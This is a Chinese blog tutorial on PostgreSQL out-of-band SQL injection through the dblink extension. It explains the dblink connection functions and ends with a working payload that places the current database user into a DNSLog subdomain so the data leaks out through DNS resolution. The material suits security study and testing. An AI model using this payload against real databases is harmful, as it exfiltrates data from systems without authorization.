SQL注入漏洞(postgresql之OOB带外注入)

这个可以与MYSQLDNSLog原理想相同,也可以就叫他DNSLog带外注入。所用到的函数有两个dblink() / dblink_connect()不过dblink()需要超级用户才能使用。

这几个函数都来源一个插件dblink,也就是说这几个函数都不是PG自带的而需要扩展安装

安装指令:create extension dblink

dblink_connect()

表示打开一个到数据库的持久连接,前面说dblink_connect()只有超级用户才能调用,而实际上有一个与之作用基本相同且不需要超级用户便能调用的一个函数---dblink_connect_u(),但不安全基本不会用。

dblink_connect('conname','connstr')

conname(可选):要用于这个连接的名字。如果被忽略,将打开一个未命名连接并且替换掉任何现有的未命名连接。

connstr(必选):数据库连接串信息,格式为:hostaddr=127.0.0.1 port=5432 dbname=mydb user=postgres password=mypasswd

由于是持久连接,因此需要一个阻断其连接的函数-----dblink_disconnect('conname')

conname参数还是可选的,因为可能出现未命名连接,所以当conname为空时,则阻断未命名的连接。

dblink()

dblinke_connect()持久连接相对,dblink()是短暂的连接,即在一个远程数据库中执行一个查询。

dblink('conname','connstr','sql','fail_on_error')

conname:要使用的连接名。忽略这个参数也是用未命名连接。


connstr:如上面为dblink_connect所描述的一个连接信息字符串。


sql:你希望在远程数据库中执行的 SQL 查询,例如select password from users。


fail_on_error:如果为真(忽略时的默认值),那么在连接的远端抛出的一个错误也会导致本地抛出一 个错误。如果为假,远程错误只在本地被报告为一个 NOTICE,并且该函数不反回行。

因为connstr需要用到host,直接IP还没啥,如果是域名呢?当然是会被解析,解析域名?那不是又回到了DNSLog注入

DNSLog网站中get一个域名,写一条如下的指令

SELECT * FROM dblink('host='||(select user)||'.6niwhz.dnslog.cn user=vulhub password=vulhub dbname=vulhub', 'SELECT version()') RETURNS (result TEXT);

可以看到携带成功 ,这个玩意儿后面有个CVE的未授权洞就要用到这个带外。

参考:PostgreSQL dblink使用详解_foucus、的博客-CSDN博客_dblink postgre

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

errorr0

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值